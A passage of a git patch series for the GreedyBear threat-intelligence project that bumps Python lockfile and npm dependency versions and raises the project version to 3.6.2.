= "https://files.pythonhosted.org/packages/f9/dd/f4874f7bab882a778178b03965b1474c63f2e8bd2eea5dd714f06b0e8713/boto3-1.43.86-py3-none-any.whl", hash = "sha256:94543a5ce482df8bb6a0bf8a944bf5ccf6625889b1df0d7886dfc3311ebd4169", size = 140026, upload-time = "2026-09-01T19:24:00.638Z" }, + { url = "https://files.pythonhosted.org/packages/fc/04/b024d6c8ba2ae18ebaf6597981069a6f51d97ab64d769d466936f1454954/boto3-1.43.88-py3-none-any.whl", hash = "sha256:62efee681fefc9b14244d66ab66ead11dd4a32fec0a54ac9f23106003ef210ca", size = 140024, upload-time = "2026-09-03T19:24:04.27Z" }, ] [[package]] name = "botocore" -version = "1.43.86" +version = "1.43.88" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "jmespath" }, { name = "python-dateutil" }, { name = "urllib3" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/58/77/0ed1c398b7d3aa5d02c1b15df32a049e07961339fe41640af1440079c2f7/botocore-1.43.86.tar.gz", hash = "sha256:0e943c77ab6a54aaaf4d57e6026ede5c3dca341af71ce91f71849a6eae9d5dbf", size = 16059433, upload-time = "2026-09-01T19:23:57.72Z" } +sdist = { url = "https://files.pythonhosted.org/packages/49/16/8944ffdbd6df92c463b77e933bae41a46fb1ec903c48a286e855761ce115/botocore-1.43.88.tar.gz", hash = "sha256:3c8a6e2292f05c590c5d5299934dd23c81d19a2b6dd70b9eb724f79bd432d04f", size = 16072325, upload-time = "2026-09-03T19:24:01.045Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/41/59/eb95d57ea576feaf1693f5e914f9f27ff9961429cf9ecbc85cef610a6d84/botocore-1.43.86-py3-none-any.whl", hash = "sha256:4efc7fbd6e7616edbd55623bb585a044906149b9a5d3d8558420506526e5a5ac", size = 15751556, upload-time = "2026-09-01T19:23:54.013Z" }, + { url = "https://files.pythonhosted.org/packages/72/b0/2981d533ebf7f93a3fa8493fb243e11225f31ad5ae36f3259fe7215d9141/botocore-1.43.88-py3-none-any.whl", hash = "sha256:1b59b6d74fb77b0c3934014b6693d56da4a9a172edb9454f9a5f711b4b3f7353", size = 15765383, upload-time = "2026-09-03T19:23:57.936Z" }, ] [[package]] @@ -334,15 +335,15 @@ wheels = [ [[package]] name = "django-ses" -version = "4.7.2" +version = "4.8.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "boto3" }, { name = "django" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/7f/25/25838da8e213c9f125b26a25360f0bb8ac57f07c24977451f3e7a0d63ddd/django_ses-4.7.2.tar.gz", hash = "sha256:a36f2af0e4ce060bf36053ed4c94feac1703ea3351e677c6f6421abd01433a35", size = 71828, upload-time = "2026-02-20T19:22:35.078Z" } +sdist = { url = "https://files.pythonhosted.org/packages/c4/cf/9ecd938a2fde48e427f0899fbca4dfb176426c5e9d0808477a27dd702b54/django_ses-4.8.0.tar.gz", hash = "sha256:7be2907bbd86aaac115f3bb97fc5653b7ada70743e34cd144949eed93820302e", size = 72936, upload-time = "2026-09-03T23:39:19.946Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/84/f2/15d4bd54bd01e68e8a116e0b66243c91cb62a3fa0d780a39d2af6654e8ae/django_ses-4.7.2-py3-none-any.whl", hash = "sha256:f3db567fb6f43c01d7d890f5c991e1ebbfa48220de0be24d497ba6332004abcb", size = 37796, upload-time = "2026-02-20T19:22:32.819Z" }, + { url = "https://files.pythonhosted.org/packages/7c/e7/ea705f99f8db91f1718e26a7fccd6a0d5cb03a4ffbb5a8138d8e07be2d24/django_ses-4.8.0-py3-none-any.whl", hash = "sha256:6c3e625e6b0c2032153859ef20ea6774c47f35a3794a8163b2357ae4b48e7c3c", size = 38233, upload-time = "2026-09-03T23:39:18.423Z" }, ] [[package]] @@ -988,11 +989,11 @@ wheels = [ [[package]] name = "slack-sdk" -version = "3.44.0" +version = "3.44.1" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/9e/37/348cf58274caaa15f6fbe9c727977af6fda76b8e194105b41200f1d0c35f/slack_sdk-3.44.0.tar.gz", hash = "sha256:e872acaf4e76ef22e9544af390b6e3896ce7198ad6bb26b3ce2630f3422f2ca3", size = 256646, upload-time = "2026-08-27T07:08:50.227Z" } +sdist = { url = "https://files.pythonhosted.org/packages/6e/4e/371068dd7281139307e60cd18553b96b9c8c391a4c3040617192713a3cc4/slack_sdk-3.44.1.tar.gz", hash = "sha256:ca19505423789fa2a3189ff486f989f02e49289f008d0a5813df7255b3fb93ea", size = 256661, upload-time = "2026-09-03T14:21:13.879Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/a7/45/b21535155335b2112e24887b81b8d0124abf1ac1b362d70db6ec906cdfb6/slack_sdk-3.44.0-py2.py3-none-any.whl", hash = "sha256:3d0b5997acafacece907299fb387852233c3c0635762de1c2343ad6ebff2f911", size = 319883, upload-time = "2026-08-27T07:08:48.511Z" }, + { url = "https://files.pythonhosted.org/packages/ab/fc/67352b742fc6fa520a550581b0284f5757e4e31a32327c2a00276747fd30/slack_sdk-3.44.1-py2.py3-none-any.whl", hash = "sha256:d6f20a0fbe3fecf9cac955c99d686301b48a645b7045472c3a0cdd186d7c42b2", size = 319865, upload-time = "2026-09-03T14:21:12.405Z" }, ] [[package]] From bb52f9b0697e97b39a8314e93938ba913c3499c5 Mon Sep 17 00:00:00 2001 From: tim <46972822+regulartim@users.noreply.github.com> Date: Fri, 4 Sep 2026 08:44:15 +0200 Subject: [PATCH 5/6] bump npm dependencies --- frontend/package-lock.json | 16 ++++++++-------- frontend/package.json | 4 ++-- 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index c0721b2df..4e3bf039f 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -24,13 +24,13 @@ "react-use": "^17.6.1", "reactstrap": "^9.2.3", "recharts": "^3.10.1", - "sass": "^1.103.1", + "sass": "^1.104.0", "zustand": "^5.0.15" }, "devDependencies": { "@testing-library/jest-dom": "^7.0.1", "@testing-library/react": "^16.3.3", - "@testing-library/user-event": "^14.6.6", + "@testing-library/user-event": "^14.6.7", "@vitejs/plugin-react": "^6.1.1", "@vitest/coverage-v8": "^4.1.11", "eslint": "^9.39.5", @@ -1805,9 +1805,9 @@ } }, "node_modules/@testing-library/user-event": { - "version": "14.6.6", - "resolved": "https://registry.npmjs.org/@testing-library/user-event/-/user-event-14.6.6.tgz", - "integrity": "sha512-Jbs9FpkkIDw8FgSc6kOVsOv8JuuqGAL7J4X1oot77JxAoDlkNn2GRkd0aYRVuQ+pVQAiHWVkE4rX/dkF5fBiCw==", + "version": "14.6.7", + "resolved": "https://registry.npmjs.org/@testing-library/user-event/-/user-event-14.6.7.tgz", + "integrity": "sha512-MPCpX8bxe8zS+JmmTwLp8jd0dy1rAm60Te/SL8JrQM3qvQJcBOs1d7IefJMyZzqM3EWBrDn/LWDt1BCGu4ASfg==", "dev": true, "license": "MIT", "engines": { @@ -6016,9 +6016,9 @@ } }, "node_modules/sass": { - "version": "1.103.1", - "resolved": "https://registry.npmjs.org/sass/-/sass-1.103.1.tgz", - "integrity": "sha512-9icZURbP51S6S0QGoyaeqk9uB06GNWxsFYWfH5RgpFgqK5FA8tJcM3AdVxrZEVJ7dz+L87nG95gBKf4VuaMHGw==", + "version": "1.104.0", + "resolved": "https://registry.npmjs.org/sass/-/sass-1.104.0.tgz", + "integrity": "sha512-btHMApW2bgolvClhRW8AlQJzgI9lUB3pPSofBQQT+E46GWvf9o0TVQ13SYv5riWZVFyPN+JNz3TKW9XhBlc10w==", "license": "MIT", "dependencies": { "chokidar": "^5.0.0", diff --git a/frontend/package.json b/frontend/package.json index 7d21cf856..b5e464c92 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -25,7 +25,7 @@ "react-use": "^17.6.1", "reactstrap": "^9.2.3", "recharts": "^3.10.1", - "sass": "^1.103.1", + "sass": "^1.104.0", "zustand": "^5.0.15" }, "scripts": { @@ -49,7 +49,7 @@ "devDependencies": { "@testing-library/jest-dom": "^7.0.1", "@testing-library/react": "^16.3.3", - "@testing-library/user-event": "^14.6.6", + "@testing-library/user-event": "^14.6.7", "@vitejs/plugin-react": "^6.1.1", "@vitest/coverage-v8": "^4.1.11", "eslint": "^9.39.5", From 0116cd006fe7474f0fa68f94efdf86ca46c29e45 Mon Sep 17 00:00:00 2001 From: tim <46972822+regulartim@users.noreply.github.com> Date: Fri, 4 Sep 2026 08:44:52 +0200 Subject: [PATCH 6/6] bump 3.6.2 --- pyproject.toml | 2 +- uv.lock | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 46994822e..d47517ab2 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "greedybear" -version = "3.6.1" +version = "3.6.2" description = "Threat intelligence platform that extracts attack data from a T-Pot or a cluster of them and generates actionable live feeds." readme = "README.md" license = "MIT" diff --git a/uv.lock b/uv.lock index f4ff03a2f..016d15e55 100644 --- a/uv.lock +++ b/uv.lock @@ -508,7 +508,7 @@ wheels = [ [[package]] name = "greedybear" -version = "3.6.1" +version = "3.6.2" source = { virtual = "." } dependencies = [ { name = "certego-saas" },